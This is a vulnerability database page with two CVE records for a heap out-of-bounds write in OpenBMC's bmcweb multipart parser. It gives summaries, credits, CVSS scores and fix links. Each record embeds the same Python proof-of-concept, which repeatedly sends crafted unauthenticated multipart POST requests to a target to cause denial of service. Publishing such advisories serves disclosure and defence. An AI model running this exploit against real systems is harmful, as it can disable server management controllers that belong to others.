Vulnerabilites related to OpenBMC Project - OpenBMC
cve-2022-2809
Vulnerability from cvelistv5
Published
2022-10-27 13:09
Modified
2024-09-16 18:04
Severity ?
EPSS score ?
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| OpenBMC Project | OpenBMC |
Version: 2.10 < Release* |
{
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"orgId": "af854a3a-2127-422b-91ae-364da2661108",
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"vendor": "OpenBMC Project",
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"changes": [
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"credits": [
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"lang": "en",
"value": "Finder: Jakub Rozanski, Intel Corporation"
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{
"lang": "en",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
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}
],
"exploits": [
{
"lang": "en",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""
}
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"attackVector": "NETWORK",
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"confidentialityImpact": "NONE",
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"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
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"lang": "en",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "Unauthenticated out of bounds heap write in bmcweb",
"x_generator": {
"engine": "Vulnogram 0.0.9"
}
}
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"cveMetadata": {
"assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"assignerShortName": "OpenBMC",
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"dateReserved": "2022-08-13T00:00:00",
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cve-2022-3409
Vulnerability from cvelistv5
Published
2022-10-27 13:09
Modified
2024-09-17 03:33
Severity ?
EPSS score ?
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
References
| ▼ | URL | Tags |
|---|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| OpenBMC Project | OpenBMC |
Version: 2.10 < Release* |
{
"containers": {
"adp": [
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"providerMetadata": {
"dateUpdated": "2024-08-03T01:07:06.708Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
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"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"title": "CVE Program Container"
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],
"cna": {
"affected": [
{
"product": "OpenBMC",
"vendor": "OpenBMC Project",
"versions": [
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"changes": [
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"at": "2.13",
"status": "unaffected"
}
],
"lessThan": "Release*",
"status": "affected",
"version": "2.10",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Finder: Jakub Rozanski, Intel Corporation"
},
{
"lang": "en",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
}
],
"datePublic": "2022-10-07T00:00:00",
"descriptions": [
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"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
],
"exploits": [
{
"lang": "en",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""
}
],
"metrics": [
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
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"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
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}
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},
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"description": "CWE-229: Improper Handling of Values",
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"providerMetadata": {
"dateUpdated": "2022-10-27T00:00:00",
"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"shortName": "OpenBMC"
},
"references": [
{
"url": "https://github.com/openbmc/bmcweb"
}
],
"solutions": [
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"lang": "en",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868"
}
],
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},
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"dateReserved": "2022-10-06T00:00:00",
"dateUpdated": "2024-09-17T03:33:10.105Z",
"state": "PUBLISHED"
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